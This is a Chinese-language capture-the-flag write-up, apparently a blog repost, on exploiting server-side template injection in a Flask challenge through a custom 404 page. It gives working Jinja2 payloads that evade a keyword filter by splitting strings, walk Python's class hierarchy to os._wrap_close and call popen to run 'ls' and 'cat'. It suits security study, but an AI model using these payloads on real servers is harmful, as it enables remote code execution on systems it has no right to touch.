[四葉草模板注入漏洞演習第三彈] flask真香
阿新 • • 發佈:2021-07-20
簡單的ssti,但是ssti輸出點很迷,導致花了十來分鐘才找到。
進入題目看到一個3D向量模型,但是並沒有找到資訊傳入和輸出的地方:
然後思路卡在了這裡,嘗試了arjun和dirsearch均無果,然後發現題目的404頁面是自己編寫的:
嘗試了一下{{2*2}}
便找到了ssti點:
然後簡單fuzz了一下,發現過濾的很多,存在違禁詞時會返回500狀態,過濾了:
class
subclasses
config
args
request
open
eval
import
我們可以找到session物件,並且利用其dict的型別來通過字典的鍵名(鍵名為字串,可拼接)來尋找我們需要的類。
通過字串拼接
然後不斷拼接
__bases__[0]
來一層一層向上查詢基類,直到找到object
基類:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}
再利用
__subclasses__
去訪問object
基類下的所有子類:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}
我們嘗試尋找可以執行命令的子類,主要應該考慮
os
os._wrap_close
類,定位其位置並使用__init__
來將其例項化,再使用__globals__
來檢視所有變數:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}
並且我們也在該類下找到了可以用於執行命令的
popen
函式:但是
popen
也會被過濾,還是使用字串拼接的方法繞過:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
成功RCE:
然後再執行
cat Th1s__is_S3cret
即可獲得Flag
做完之後發現這道題是NCTF2018的一道原題,於是百度找到了一位大師傅的Wp:深入SSTI-從NCTF2018兩道Flask看bypass新姿勢
文章將ssti bypass的思路與原理分析的非常清晰,學到了很多操作,推薦一下
[ * ]部落格中轉載的文章均已標明出處與來源,若無意產生侵權行為深表歉意,需要刪除或更改請聯絡博主: 2245998470[at]qq.com